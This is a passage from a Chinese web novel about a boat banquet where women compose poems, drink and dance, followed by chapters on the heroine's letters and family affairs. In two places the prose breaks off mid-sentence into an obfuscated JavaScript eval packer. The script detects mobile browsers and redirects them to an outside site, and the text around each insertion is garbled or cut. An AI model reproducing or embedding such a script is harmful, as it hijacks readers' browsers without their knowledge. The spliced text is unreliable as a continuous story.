说着,顾夫人又将自己案上的蟹粉豆腐放到了明夷桌上,叮嘱道:“好吃就多吃些,不够就和娘亲说。” 赵夫人看着母女两人的动作,笑道:“从前只知你是山林间不食人间烟火的兰君子,今日一看,沾了红尘的露水越发显得温婉动人。” 顾静翕不好意思地抿了抿嘴,与人又打趣了两句,忽然听到坐在左上窗户处的苏夫人说道:“我今年打算将自己这些年作的诗文付梓刊刻,届时你们谁愿意帮我写序啊?” 一句话似水滴进了油锅,场面顿时喧闹起来,大家三言两语的讨论着,祝贺声此起彼伏,各种推荐的,自荐的也不绝于耳。 明夷听到赵夫人恭喜道:“总算要出来了,听说你都筹备好几年了,实在不容易啊。” 苏夫人也感慨道:“那可真是千辛万苦啊,今年过年的时候我在家里提了,我那婆婆当时直接筷子都扔地上了,训斥我不好好侍奉丈夫,管理家宅,成天舞文弄墨,不守规矩。我家老爷本来都答应了,结果回去也劝我,说什么妇言不易张扬于外,气得我年都没过好!” “那后来又是怎么解决的呢?”一个摇着团扇的年轻粉衣女子好奇道。 “我只说我编这本诗集并不是为了在外扬名,只是想写给女儿姑嫂看着顽,再说这家里一应事务都是我在管,从没出过什么岔子,这付梓用的也是我的嫁妆钱,好说歹说才让家里那几人让了步。” 周围一众人俱是低头叹息,想来也是感同身受。赵夫人瞧着气氛不对,出来打圆场,又问道:“名字起好了吗?” 苏夫人点点头,“叫《焚草集》。” 周围又是一阵叹息声,方才一直不言的南嘉疑声道:“上回不是听您说打算叫《蒹葭思》吗?” 苏夫人哀叹一声,“总得面上过得去。” 南嘉眉头蹙起,似是还想说些什么,但最终只是端起手中的琉璃盏抿了口里面的酒水。 现场气氛一片沉寂,赵夫人左看看右瞅瞅,在座各位,不是低头握着酒杯发呆的,就是看着窗外叹气的,哦——还有个筷头不停,低头吃菜的小明夷! 兀自摇了摇头,笑着站起来道:“敬柔的诗集能够付梓可是大喜事,大家别都垂头丧气的,快快举起手中的琉璃盏,咱们祝敬柔一杯!” 众人先是愣了愣,又很快反应过来,纷纷蹲着酒杯起身。霎时,环佩相击如东珠落玉盘,金丝步摇轻颤,满堂烛影里浮起层层叠叠的琥珀光。 夫人小姐们擎着琉璃盏,笑涡里漾着胭脂色的酒晕,软缎披帛掠过从纱幔漏下的月光,将诚挚的祝福酿作满室叮咚作响的欢声笑语。 24. 柘枝舞 大家乐呵呵的喝过几轮,苏夫人面色酡红,举着酒杯摇摇晃晃道,“嗳唷,这外头的花香熏得我头昏,咱们要不以这荷为题,不拘五言七言,由着性子赋诗一首?” 一位穿着绛紫绫罗广袖衫的夫人笑骂道:“净瞎说,哪是花熏的你头晕,是这酒把你醉倒了!” 又一黄衣小姐柔柔道,“苏姨您这杯子就没离过手,面前的酒壶都要空了,快快放下吧,不然明早又该头疼了。” 赵夫人翘着兰花指扶了扶鬓边的碧玺珠花钗,“她自闺女嫁了后在家里闷烦惯了,今个儿难得高兴,你们都别拦她,让她痛快些!” 顾静翕也应和道:“是这样不错,快喊人再上几壶荔枝酒来!劲头上来了咱们也好作几首诗品品!” 明夷看着娘亲不同以往的豪爽样子,案上的金素杏叶壶都不知是什么时候空的,敢情酒色全跑脸上了。再瞅瞅周围一片,得,素日端庄的一丝不苟的夫人们如今俱是钗歪领斜的模样,含蓄婉约的小姐们躺倒在椅背上,手里团扇舞得飞快。 侍女们将各色花笺并笔墨摆在每人案前,可怜明夷手上的糟鹅掌才啃了一半,只得默默放下,找丫鬟要了块帕子净手,咬着笔头苦思冥想起来。 满船珠翠安静下来,众人俱是低头写着。南嘉姑娘最先搁笔,她的诗写在洒金笺上,墨迹未干便交由侍女由着众人传阅。 传至几多人手,座中已有妇人以帕掩口,挑着眉毛笑着摇头,还有小姐美目睁圆,面色绯红,不知是被酒熏的还是别的什么。 诗笺传到明夷手中,只见上面写着:湖上娇娇女,素足濯清光。红莲斜出水,雪藕两瓣香。 明夷大囧,想笑又不敢笑,在这妇女出门都得带帷帽的社会,对于那些未出阁的小姑娘来说确实是有点香艳了,难怪个个脸红成这样。努力绷紧脸上的笑容,默默将诗笺递给娘亲,又提笔给自己的小诗填上最后几个词。 顾静翕接过女儿递来的诗,只看了两眼就抬头冲南嘉舒颜一笑,后者大方的拱了拱手,眉目间神采飞扬。 赵夫人接过,仔细读了两遍,就爽利地冲着众人笑道:“还得是南嘉姑娘啊!看看这‘红莲’、’雪藕‘,把咱们女人的身体写得多漂亮!” 又看了看对面的几位小姐,有些促狭道:“你们这些做姑娘的也别害羞,都是爹生娘养的,咱们身上哪里不好?” 说着又取下腰上挂着的荷包,从里头掏出一条小鱼儿状的金锭子,对着南嘉道:“姑娘,来!可要接好了!” 南嘉旋即推开凳子直起身,捊了捊袖子,玉藕似的手臂往前一伸,一把将金鱼儿抓在手里,往众人跟前送了一圈,又马上揣回自己的荷包里,冲着赵夫人福了福身,娇笑道:“南嘉在此谢过夫人的小鱼儿了。”众人又是一阵哄笑。 摇着鱼戏莲叶团扇的黄衫姑娘捏着南嘉的诗笺眉头微微蹙起,有些不解道:“这是不是有些不合规矩?《女诫》中——” 赵夫人打断道:“咱们这不谈劳什子女四书,全凭自个开心。”说着又话音一转,“宁姑娘觉得这诗如何?” 这位被称做宁姑娘的黄衣少女有点迟疑的点点头,“我心里很是喜欢,只是这有些过于大胆了,我之前从未见过这样的……” 苏夫人拍了拍少女的肩,慢悠悠道:“宁姐儿,规矩都是做给人看的,人前咱们装装面子,背后无人时就由着性子来,喜欢什么、讨厌什么大胆说,可别被那些糟蹋人的条条框框给憋坏了你这颗七窍玲珑心。” 少女有些懵懂,又低头有看了好一会笺上的诗句,犹豫着起身,垂着眼帘朝南嘉福了福,有些不好意思道:“南姑娘,请问这张诗笺可以赠与我吗?” 南嘉挑了挑眉,似是有些意外,施施然走到少女跟前,将诗笺接过,仔细叠好后又摸了个两指宽的福禄荷包出来,取了朵冰鉴上装饰的金丝梅,与诗笺一并装了进去,低头系在少女腰边。 “既是赠与宁姑娘,自是要亲自送到你手上。” 南嘉唇上的胭脂在烛火下越发显的艳色逼人,惹得宁姑娘脸红了又红,一旁默默吃瓜的明夷感叹道,不怕姐姐长得美,就怕姐姐又美还会撩,这谁抵得住啊。 这时,一位梳着双环髻的粉衣姑娘举着张碧色花笺问道:“敢问明夷姑娘是哪位?你这句‘风扶荷影碎,酒渍月痕残’我很是喜欢!一读起来,仿佛就看到风下晚荷,人醉池边的场景!” 明夷大惊,没想到竟有人当众喜爱她的诗,实在是有点受宠若惊。 连忙站起来道:“姑娘莫非是明夷肚里的蛔虫不成?我写时正好瞧见荷叶摇曳,就想到了晚风吻尽荷花叶,任我醉倒在池边的场景,于是就有了这句诗,能得姑娘……姑娘名字是?” 粉衣姑娘弯起漂亮的桃花眼,笑道:“我姓林,闺名时夏,出自‘我求懿德,肆于时夏’。” 明夷学着刚刚南嘉的样子朝林时夏拱了拱手,道:“时夏姑娘方才所得与我之所想并无二致,能得你之喜爱,明夷内心实在高兴不已。” 林时夏瞧着这位明夷姑娘年纪许是小她两三岁,然举手投足间落落大方,说话更是妥帖又有趣,不自觉心生欢喜。于是端着琉璃盏走到明夷旁边,大方道:“我一见明夷姑娘就觉十分亲切,许是咱们之间有缘,不知可否赏脸与我喝一杯?” 明夷一听,趁着娘亲正低头看着她作的诗句,迅速把其桌上的荔枝酒顺过来给自己满上,胭脂色的酒液在琉璃盏里淌着光。 女孩与时夏姑娘碰了碰杯,仰头喝了一大口,果酒甜滋滋的,味道可比原先杯里的茶水好多了。 与林时夏又聊了几句日常做的诗画刺绣,又点评了一下刚刚的菜肴,发现两人果真投缘的很,互相留了地址,约定日后定要时常通信,黏黏糊糊好一会儿才各自坐了回去,听着别人评述手里的小诗。 适时,侍女又给每人端上来一个水晶挖凿出来的斗笠碗,里头盛着用木樨花糖渍了的糯米圆子,浸在冰镇酸梅汤里,汤面还飘着鲜薄荷尖,碗边留有一小笺,上面写着几个大字——冰雪冷丸子。 明夷执起银匙舀了半勺,甫一入口,一股带着木樨香的凉气便漫过齿关,转瞬又被梅子汤的活酸激得舌底生津,凝脂般的糯米丸子个头小小,咬起来糯中带韧,竟让人嚼出几分新麦初熟的味道。 水晶钵旁还新摆了个紫檀提盒,里头盛满了冰块,卧着几枚梅花薄饼。饼皮层叠如雪,每揭一层便落下柳絮似的碎屑,内馅香甜的玫瑰卤混着焦香的核桃碎,咬下去先是“咔嚓”一声闷响,继而满口甜香。 众人的诗已轮了一圈,三三两两的凑在一起聊天,明夷瞧见娘亲被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436068|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人围在中间,袖袋里塞满了别人赠的诗笺。宁小姐和南嘉站在一处,也不知在说些什么,逗得前者娇笑连连,险些将耳边的白玉菩提坠子晃掉一只。 画舫缓缓往回,挤着层层叠叠的荷叶推开一池星子,船头灯笼穗子扫过水面,惊起几只萤火虫撞到竹帘上。 琵琶声就是在这时响起的,梳着抱月鬓的琵琶娘子抱着曲项琵琶坐在中间,指尖刚滚出半阙《汉宫秋月》,便被临安绸缎庄的肖夫人笑嚷着打断:“好个促狭的,大好的日子,非拿这哭唧唧的调子败兴!” 众人也笑喊道:“该罚!该罚!” 旁边的琴师指尖一划,流水般的曲调漫过半透的纱幔,琵琶娘子指尖一转,婉约流畅的《春江花月夜》倾泻而出,萦绕在每个人的耳边。 忽然有缕裹着晚香玉的甜风掠过,原是南嘉解了石榴红的披帛,赤足踏着船板跳起了柘枝舞。 十指蔻丹映着烛火,竟比外头半开的红蕖还要艳烈三分,直把以明夷为代表的一众姑娘看得双眼发直。 顾静翕朝丫鬟要了个小鼓来,三两下敲出清脆的节奏,乐声随着鼓点转而急促,南嘉踩着节奏愈旋愈快,披帛化作火凤的翎羽,发间金步摇只剩下模糊的残影。 “都来都来!南嘉跳上了,就连静翕都打上鼓了,咱们不得做些什么?”赵夫人也不管鬓边簪歪了的玲珑八宝簪,敲着秘色瓷杯恣意道:“有了!咱们就改一阕李太白的《将进酒》!” 众人纷纷叫好,瞬间,琉璃杯、白玉盏、犀角觥叮叮当当碰作一团,吴侬软语混着爽脆官话,硬是把“呼儿将出换美酒”唱成“今夜嫦娥霓裳舞”。 宁小姐折了枝红莲掷给正在跳舞的南嘉,后者反手将红莲咬在唇间,脖颈猛地后仰,腰肢折似宝弓张弦,又在瞬间倏地起身,扬臂若惊鸿掠水。 明夷怔怔衔着半块梅花薄饼,酥皮碎屑混着口脂沾了满襟,喃喃道:“像是一团火在烧……” 鼓声又旋急改了节奏,南嘉忽将左足高抬过额,缀着金铃的脚链哗啦一响,竟用足尖勾起案头的紫毫笔。腰肢如蛇般扭动,笔锋画出一道残虹,顾静翕腾手凌空一握,挑衅似的看了舞者一眼,手下节奏更加诡变。 只见南嘉反手扬纱作飞天势,左臂屈如胡僧托钵,右臂展若将军挽弓,心应弦,手应鼓,左旋右转不知疲,忽然一臂捞住宁小姐腰间玉带,借力腾空倒翻,石榴裙绽成火莲,引起阵阵惊呼,再定睛一看,宁小姐耳边红莲艳艳,面似晚霞绯红。 众人执着银箸和着鼓点敲击着酒杯,腕间虾须镯撞得叮咚乱响,嘴里齐齐唱着:“将进酒,杯莫停。” 不知哪位娘子忽然喊了句“天生我材必有用!”引得大家乱了节奏,又是哄笑声一片。 明夷被着气氛感染,一杯接一杯的,不自觉喝光了面前那壶新上的荔枝酒,扶着脑袋晕乎乎的起身,说要去船舷透气。 凉爽晚风将面上的红晕吹散开来,女孩两三下把绣鞋踢进荷花丛里,嚷着要学采莲女唱菱歌,结果又是一阵鬼哭狼嚎,听得屋里一众不知所云,哭笑不得。 直到子时梆子声响,画舫渐渐靠岸,两岸酒楼渐次熄了灯烛,船上刚好唱道:“与尔同销万古愁!” 哄吵的笑闹声惊起一滩宿鹭,扑棱棱地把水中新月抖落成满河的碎银…… 25. 事情两件半 自画舫回来后,明夷的胃口突然就好了很多。素日生活仍循旧例:晨课午膳,掌灯温书,闲暇时或临几幅工笔花谱,或穿针引线绣些香囊帕角,或执竹竿在莲池钓几尾小鱼,时不时还与母亲一起研究新菜式。 此外,红木西番莲纹的书案上,日益垒高的彩笺泄露了女孩的新癖——写信。 笔友主要有三,吴中孚、方韫之、林时夏。 前面两位泛泛而聊,一般以他们写信,明夷回信为主。若是二位能在信里头多讲些新鲜玩意儿,比如茶楼的评书、街边的小食、山间的溪流、田埂的野兔……便能得女孩主动多问几句。 徐淑仪好几回在写给顾静翕的信中感叹,孚哥儿最近不再一直闷书房了,人时不时往外跑,筋骨活络了,个子长高了,身体也比以往好了不少。 另一边,柳夫人某日晚上睡前,在替丈夫宽衣时亦纳罕:“韫之最近怎么对市井那些玩意感兴趣起来了?以前叫半天也不动一下,现在倒成天往外跑。” 方大人就着烛火翻着邸报,无甚在意道:“许是想多知道些民生民情?他先生才和我夸他文章破题颇有新意,体察入微。做文章最忌纸上谈兵,韫儿若日后为官,可断不能只端坐于那高堂之上。” 要说明夷聊得最开心的,还属那日画舫相识的林时夏。这林姑娘是临安富商的女儿,年芳十四,家里主要做衣料的生意,也开钱庄,是临安县有名的财神爷。 林姑娘家中排行最小,也是年轻一辈唯一的女儿,上有两位兄长,并堂兄也有几多,自幼是千娇万宠着长大。小时候闹腾的不行,稍大了些又突然娴静下来,诗文章句算不上有多在行,但天生对数字敏感,算盘拨得飞快。 据说周岁抓阄时,满席琳琅物件皆不入眼,偏要挣出锦褥去够那角落的金漆算盘。林父常捋须笑叹,家中子女众多,唯有小女时夏最得他真传。 商贾之家不比文人士族繁文缛节众多,再加上家里娇宠,时夏姑娘每日晨起习女红诗书,午后便绾起双鬟,随父兄穿行于自家铺面翻账核单。 锦绣堆里长成的姑娘自有玲珑心窍,绫罗珠翠、珍馐佳肴皆如数家珍,自个编写的品评本子叠了一摞,明夷每每与她写信,总能得见许多新鲜玩意儿,被女孩戏称为自己“开眼看世界的第一人”。 日子过得寻常,只是接近年关时家中来了两件半事,一是明夷的大伯——王同简考核合格,在当地继续连任,听说再过三年就能再升一阶。二是明夷的三叔——王同宁又又又赔钱了,这次是手上的银子被人用假银子掉包了。 民间有一种叫做“漂白槽银”的假银子,外观就是五两银子一锭的银元宝,与真的颜色并无二致。大周用银子的时间不算长,防伪技术欠缺,商人们全凭经验辨认,王同光无甚经验,但又喜欢拿乔显摆,看着人家手上细丝银锭成色极好,装模作样的验了几锭,就将身上的银两统统和人换了,殊不知,真是好大一个坑。 这王三郎作为家中幼子,自小被惯的有些无法无天,虽算不上酒囊饭袋无用之徒,但也的的确确不学无术。幼时一直被袁老太太拘着读书时倒还好些,等人长大了,无缘仕途转而从商,三教九流的东西学了不少,再加上王老太爷离家修行,袁老太太管事渐少,更是越发放飞自我。 由于在家里头上有两个优秀的哥哥压着,王同光总想着做点什么证明自己,奈何能力不足,个性又急躁易怒,于是乎最易受人蛊惑,这些年府里的帐上,不知从他手上亏了多少。 袁老太太见儿子这样,特意为其娶了个利害老婆,希望能将其管束住。 这三夫人也确实厉害,自一进门,两口子三天一小吵,五天一大吵,虽是有些成效,但效果甚微,于是在生了一对龙凤胎后就转移方向,专心和袁老太太一齐打理家中产业,也算是一种曲线救国。 因此王家现在的行情就是这么个模样——大房外放作官,不理家务。 陈夫人是个头脑简单的,丈夫是家中长子又是个官身,日后分产怎么都少不了他们,再加上自己又嫁妆丰厚,和娘家也亲厚,房里开支定时去账上支,额外开支就自己掏,并不理会家中产业。 二房王同光致仕之后,朝廷每年也有额外的补贴,被明夷戏称为退休金,虽然和王家日常开销比只是杯水车薪,但——不要白不要嘛。 除此之外,日常去家塾上课,族里也会支钱,还有为县里修书等事物,统统都是有钱拿的,加在一起倒也不算少。虽然还未分家,但自己名下也有一些产业,清楚自己身体不好,且也不是做生意的料,于是都交由专人打理,每年收益也不错。 而顾夫人当年的嫁妆虽是继母置办的,但为着面上过得去,倒也没有怎么苛扣。再加上没有同母兄弟,出嫁时硬是要求把母亲剩下的嫁妆也一并带走,顾父因为女儿婚事被替,许是有些愧疚,倒也没有过多阻拦,倒是那继母继妹恨得牙都咬碎了,但也没法子。 总的来说,二房也只是专心打理自己房内的事物,日子过得也挺滋润,夫妇俩均是爱好文艺,不事生产的“文人骚客”,对于家中产业也不大插手。 三房的桑夫人商户出生,在娘家时因着有个风流的爹,家中姨娘不少,兄弟姊妹那是更多,各种手段见识不少,从小都是争抢着长大的。嫁来王家后,与袁老太太联手将王家产业推的更上一层楼,虽丈夫败家,但有她和老妇人两尊拦路虎镇在那里,倒也伤不及根本,目前是王家家业主要代理人之一。 因此,王家三兄弟的生态主打一个各人自扫门前雪,休管他人瓦上霜,连着年轻一代的也不甚亲厚。大房三房的孩子各有姊妹兄弟倒还可以一起说说话,明夷身为稀有的独生女,自己又是个喜欢热闹的,难免感到有些孤独。 不过毕竟壳子里是个二十多岁的成年人,要真像个孩子一样,因为没人玩而难过,明夷自己也觉得太羞耻了,于是乎化不良情绪为学习动力,将无处释放的精力投掷于课业之中,倒一下子学成姊妹中最出挑的。 面对年前结课时沈先生和李嬷嬷的褒奖,明夷骄傲地挺起小胸脯,装模作样地摆摆手,谦虚道:应该的应该的,哎呀呀……不值一提不值一提。 至于最后半件,与林时夏腊月底的来信有关,至于为何是半件?因为它姑且算个谣言,并没有得到证实。 时夏姑娘眼观六路、耳听八方,得来一个小道消息——明夷的三叔被骗后为了躲避母亲和妻子的唠叨,连着好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陶瓮里,牛骨和松茸一起熬煮的高汤煨足了两个时辰,松茸的醇厚与牛髓的脂香在文火中交融成琥珀色的汤汁。雪白的面条不似平常惯吃的银丝面,而是有两指宽,劲道十足的刀削面。铁锅热油,绯红的番茄丁熬出浓浓的汁水,又加入肉沫和菌菇丁,颠着铁锅翻炒几下,最后大火收汁。 青花海碗早用姜片擦过三遍,顾夫人先是舀了半勺雪白的猪油垫底,又浇上两勺色泽透亮的高汤。面条入沸水滚了几道捞起,在碗里盘成漩涡状,再挖一勺酱汁浓郁的浇头,点缀三粒染红的鹌鹑蛋,最后洒上一小把葱花芫荽。 顾夫人用湿布抱着将面端到女儿面前,将筷子递过去,郑重叮嘱道:“一根都不能断哦!” 明夷冲着母亲比了个“没问题”的手势,迫不及待地接过筷子大口了起来,面条劲道十足,嚼起来有股麦子的清香,菌香裹挟着肉香在嘴里翻涌,女孩舀了一勺海椒,吃得鼻尖冒汗,心里计划着等会如何拐骗母亲陪自己做个简易版生日蛋糕。 霜雪在冰裂纹窗外织就素纱,艳红的寒梅落在白雪上,倒与这碗长寿面有些相似。 屋内暖炉吞吐着淡淡的白烟,门上厚重的毡帘拢住了满室的暖意,夫妇俩交握着双手,在簌簌雪声中静静看着女儿鸦黑发髻上缠着金丝的葫芦小簪。 廊下的更漏似乎变得更加绵长,氤氲的热气里,熹宁十四年就在这样一碗长寿面中,挂着雾气绵延向前。